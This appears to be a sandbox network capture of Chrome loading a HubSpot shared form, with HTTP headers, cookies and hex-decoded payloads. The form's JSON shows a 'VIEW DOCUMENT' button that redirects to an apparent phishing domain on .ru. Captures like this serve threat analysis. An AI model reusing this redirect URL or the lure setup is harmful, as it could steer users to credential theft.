hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
2024-12-16 17:46:05 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:05 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 1 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 7412b291-5351-47af-9d65-47f690417649 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-pdcc5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 7412b291-5351-47af-9d65-47f690417649 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307da81db243c7-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:46:05 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.17	49871	104.18.80.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:05 UTC	980	OUT	GET /embed/v3/form/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926&hutk=f969d8b384270839a01465c358727fa6 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
2024-12-16 17:46:05 UTC	1062	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:05 GMT Content-Type: application/json;charset=utf-8 Transfer-Encoding: chunked Connection: close x-origin-hublet: na1 vary: origin access-control-allow-methods: OPTIONS, GET access-control-allow-headers: * access-control-allow-credentials: false access-control-max-age: 180 x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet Cache-Control: max-age=0, no-cache, no-store x-robots-tag: none x-envoy-upstream-service-time: 39 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 529c8eba-7430-4e1c-bed0-7e1303ceb835 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-6w44x x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 529c8eba-7430-4e1c-bed0-7e1303ceb835 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307da80a2e4205-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:46:05 UTC	307	IN	Data Raw: 32 38 39 32 0d 0a 7b 22 66 6f 72 6d 22 3a 7b 22 70 6f 72 74 61 6c 49 64 22 3a 34 38 31 39 32 36 39 32 2c 22 67 75 69 64 22 3a 22 30 39 36 65 37 37 64 30 2d 62 39 32 62 2d 34 62 63 64 2d 62 35 30 35 2d 66 36 64 65 31 63 66 64 63 62 64 62 22 2c 22 63 73 73 43 6c 61 73 73 22 3a 22 68 73 2d 66 6f 72 6d 20 73 74 61 63 6b 65 64 22 2c 22 69 6e 6c 69 6e 65 4d 65 73 73 61 67 65 22 3a 22 22 2c 22 72 65 64 69 72 65 63 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 71 62 30 36 2e 66 66 63 77 79 67 66 66 2e 72 75 2f 35 47 34 59 56 2f 22 2c 22 73 75 62 6d 69 74 54 65 78 74 22 3a 22 56 49 45 57 20 44 4f 43 55 4d 45 4e 54 22 2c 22 66 6f 72 6d 46 69 65 6c 64 47 72 6f 75 70 73 22 3a 5b 7b 22 66 69 65 6c 64 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 74 72 75 65 2c 22 69 Data Ascii: 2892{"form":{"portalId":48192692,"guid":"096e77d0-b92b-4bcd-b505-f6de1cfdcbdb","cssClass":"hs-form stacked","inlineMessage":"","redirectUrl":"https://qb06.ffcwygff.ru/5G4YV/","submitText":"VIEW DOCUMENT","formFieldGroups":[{"fields":[],"default":true,"i
2024-12-16 17:46:05 UTC	1369	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 34 38 31 39 32 36 39 32 2e 66 73 31 2e 68 75 62 73 70 6f 74 75 73 65 72 63 6f 6e 74 65 6e 74 2d 6e 61 31 2e 6e 65 74 2f 68 75 62 66 73 2f 34 38 31 39 32 36 39 32 2f 69 6d 61 67 65 73 2d 34 2e 70 6e 67 5c 22 20 73 74 79 6c 65 3d 5c 22 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 25 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 31 30 30 25 3b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 5c 22 20 64 61 74 61 2d 69 6d 67 2d 61 73 70 65 63 74 2d 72 61 74 69 6f 3d 5c 22 31 2e 34 34 33 38 35 30 32 36 37 33 37 39 36 37 39 31 5c 22 20 61 6c 74 3d 5c 22 69 6d 61 67 65 73 2d 34 5c 22 20 77 69 64 74 68 3d 5c 22 31 37 38 5c 22 20 64 61 74 Data Ascii: "https://48192692.fs1.hubspotusercontent-na1.net/hubfs/48192692/images-4.png\" style=\"max-width: 100%; max-height: 100%; display:block; margin-left:auto; margin-right:auto;\" data-img-aspect-ratio=\"1.4438502673796791\" alt=\"images-4\" width=\"178\" dat
2024-12-16 17:46:05 UTC	1369	IN	Data Raw: 3c 2f 64 69 76 3e 22 2c 22 74 79 70 65 22 3a 22 54 45 58 54 22 7d 2c 22 69 73 50 61 67 65 42 72 65 61 6b 22 3a 66 61 6c 73 65 7d 2c 7b 22 66 69 65 6c 64 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 74 72 75 65 2c 22 69 73 53 6d 61 72 74 47 72 6f 75 70 22 3a 66 61 6c 73 65 2c 22 72 69 63 68 54 65 78 74 22 3a 7b 22 63 6f 6e 74 65 6e 74 22 3a 22 3c 70 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 5c 22 3e 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 Data Ascii: </div>","type":"TEXT"},"isPageBreak":false},{"fields":[],"default":true,"isSmartGroup":false,"richText":{"content":"<p><span style=\"background-color: #ffffff; text-align: center;\">                    &#x
2024-12-16 17:46:05 UTC	1369	IN	Data Raw: 74 79 6c 65 22 3a 22 7b 5c 22 66 6f 6e 74 46 61 6d 69 6c 79 5c 22 3a 5c 22 61 72 69 61 6c 2c 20 68 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 5c 22 2c 5c 22 62 61 63 6b 67 72 6f 75 6e 64 57 69 64 74 68 5c 22 3a 5c 22 31 30 30 25 5c 22 2c 5c 22 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 5c 22 3a 5c 22 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 2c 5c 22 62 6f 72 64 65 72 52 61 64 69 75 73 5c 22 3a 5c 22 30 70 78 5c 22 2c 5c 22 70 61 64 64 69 6e 67 5c 22 3a 5c 22 30 70 78 5c 22 2c 5c 22 6c 61 62 65 6c 54 65 78 74 43 6f 6c 6f 72 5c 22 3a 5c 22 23 32 31 32 44 33 41 5c 22 2c 5c 22 6c 69 6e 6b 43 6f 6c 6f 72 5c 22 3a 5c 22 23 30 30 30 30 45 45 5c 22 2c 5c 22 63 6c 69 63 6b 65 64 4c 69 6e 6b 43 6f 6c 6f 72 5c 22 3a 5c 22 23 35 35 31 41 38 42 5c 22 Data Ascii: tyle":"{\"fontFamily\":\"arial, helvetica, sans-serif\",\"backgroundWidth\":\"100%\",\"backgroundColor\":\"transparent\",\"borderRadius\":\"0px\",\"padding\":\"0px\",\"labelTextColor\":\"#212D3A\",\"linkColor\":\"#0000EE\",\"clickedLinkColor\":\"#551A8B\"
2024-12-16 17:46:05 UTC	1369	IN	Data Raw: 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 31 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 32 34 70 78 7d 2e 68 73 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 2e 68 73 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 38 66 37 33 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 38 66 37 33 7d 2e 68 73 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 36 36 65 35 30 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 36 36 65 35 30 7d 6c 61 62 65 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 Data Ascii: fff;border-radius:3px;border-style:solid;border-width:1px;font-size:14px;padding:12px 24px}.hs-button:hover,.hs-button:focus{background-color:#ff8f73;border-color:#ff8f73}.hs-button:active{background-color:#e66e50;border-color:#e66e50}label{font-size:14px
2024-12-16 17:46:05 UTC	1369	IN	Data Raw: 6e 67 3a 39 70 78 20 31 30 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 5c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 5c 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 34 37 35 62 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 62 64 36 65 32 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 2d 6d 73 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f Data Ascii: ng:9px 10px;font-family:\"Helvetica Neue\",Helvetica,Arial,sans-serif;font-size:16px;font-weight:normal;line-height:22px;color:#33475b;border:1px solid #cbd6e2;box-sizing:border-box;-webkit-border-radius:3px;-moz-border-radius:3px;-ms-border-radius:3px;bo
2024-12-16 17:46:05 UTC	1369	IN	Data Raw: 6f 6d 3a 31 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 37 70 78 20 30 70 78 7d 2e 69 6e 70 75 74 73 2d 6c 69 73 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 35 70 78 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 7d 2e 69 6e 70 75 74 73 2d 6c 69 73 74 3e 6c 69 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 7d 2e 69 6e 70 75 74 73 2d 6c 69 73 74 20 6c 61 62 65 6c 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 38 70 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 2e 69 6e Data Ascii: om:18px;padding:17px 0px}.inputs-list{margin:0 0 5px;width:100%;padding-left:5px}.inputs-list>li{display:block;padding:0;width:100%;padding-top:0}.inputs-list label{float:none;width:auto;padding:0;line-height:18px;white-space:normal;font-weight:normal}.in
2024-12-16 17:46:05 UTC	1369	IN	Data Raw: 77 72 61 70 7d 2e 65 6d 61 69 6c 2d 63 6f 72 72 65 63 74 69 6f 6e 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 33 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 5c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 5c 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 2e 65 6d 61 69 6c 2d 63 6f 72 72 65 63 74 69 6f 6e 20 61 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 61 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 20 34 30 30 70 78 29 2c 28 6d 69 6e 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 20 33 32 30 70 78 29 61 6e 64 20 28 6d 61 78 2d 64 65 76 69 63 65 2d 77 69 64 74 Data Ascii: wrap}.email-correction,.email-validation{padding-top:3px;font-size:12px;font-family:\"Helvetica Neue\",Helvetica,Arial,sans-serif}.email-correction a,.email-validation a{cursor:pointer}@media(max-width: 400px),(min-device-width: 320px)and (max-device-widt
2024-12-16 17:46:05 UTC	504	IN	Data Raw: 2e 68 73 2d 62 75 74 74 6f 6e 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 68 6f 6e 65 5d 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 74 65 78 74 61 72 65 61 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 3b 2d Data Ascii: .hs-button,.hs-form-field input[type=text],.hs-form-field input[type=email],.hs-form-field input[type=phone],.hs-form-field input[type=number],.hs-form-field input[type=tel],.hs-form-field input[type=date],.hs-form-field textarea{-webkit-appearance:none;-
2024-12-16 17:46:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.17	49874	104.18.80.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:05 UTC	1081	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
2024-12-16 17:46:05 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:05 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 1 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 279703ff-587c-4f24-8de2-d1c34b888586 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-g6ppr x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 279703ff-587c-4f24-8de2-d1c34b888586 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307da82bb97c6a-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:46:05 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.17	49873	104.16.118.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:05 UTC	1329	OUT	GET /__ptq.gif?k=15&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ff631ee8-6dc4-418c-a78f-5c8bc9491b52&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371162607&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
2024-12-16 17:46:05 UTC	1200	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:05 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307da77d40c334-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 4 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-9fq2m x-evy-trace-virtual-host: all x-hubspot-correlation-id: 14ad7307-50ce-4e0d-8a1e-6bd9f3b1f76a x-request-id: 14ad7307-50ce-4e0d-8a1e-6bd9f3b1f76a x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bkrNRUcc4Ht4q8A8HPV9xsFc7hbDajWxVRmKvTu0pXBnnWiRc4GufeuLFjl2UndZUo%2B3ayw2Kaj2iUtoKvxnghbn%2BA%2BBisBDAACqqRbI30qKc6K5kH4L6oKvoxYJqsEavGbK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:46:05 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.17	49875	104.16.117.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:05 UTC	1005	OUT	GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371160862&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
2024-12-16 17:46:05 UTC	1202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:05 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307da82ece1a24-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-6v7t5 x-evy-trace-virtual-host: all x-hubspot-correlation-id: 118ce8ee-5c0c-4cc2-8c97-63532ff355ff x-request-id: 118ce8ee-5c0c-4cc2-8c97-63532ff355ff x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zb40Fy%2Byi6ewFWuwkmqAUGCTyHnX8juPiHYkjQ6gUcZBjPGKIklU1psUMzfypt4gHYSVrjnruX4knm%2Fc0eVZTYSw6Ps0OEw8W6W4wER0RAKq4JiBr2Y6b%2B03rYe7jRZ%2F1hF3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:46:05 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.17	49876	104.16.118.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:05 UTC	1329	OUT	GET /__ptq.gif?k=17&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ff631ee8-6dc4-418c-a78f-5c8bc9491b52&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371162629&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
